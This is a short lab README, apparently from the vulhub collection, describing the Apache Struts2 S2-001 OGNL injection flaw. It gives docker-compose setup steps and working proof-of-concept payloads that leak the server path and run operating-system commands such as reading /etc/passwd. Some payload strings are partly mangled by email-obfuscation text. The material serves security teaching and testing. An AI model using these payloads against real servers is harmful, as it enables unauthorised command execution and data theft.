S2-001 Remote Code Execution Vulnerability

中文版本(Chinese version)

Reference link

http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

The vulnerability is that when the user submits the form data and the validation fails, the server parses the parameter values previously submitted by the user with the OGNL expression %{value} and repopulates the corresponding form data.For example, in the registration or login page. When submit fail, server will generally return the previously submitted data by default. Since the server uses %{value} to execute an OGNL expression parsing on the submitted data, it can send payload directly to execute command.

Environment setup

Run the following commands to setup

docker-compose build
docker-compose up -d

POC && EXP

Get the tomcat path:

%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}

Get the web site real path:

%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

Execute command (command with parameter:new java.lang.String[]{"cat","/etc/passwd"}):

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

Copied From: vulhub/struts2/s2-001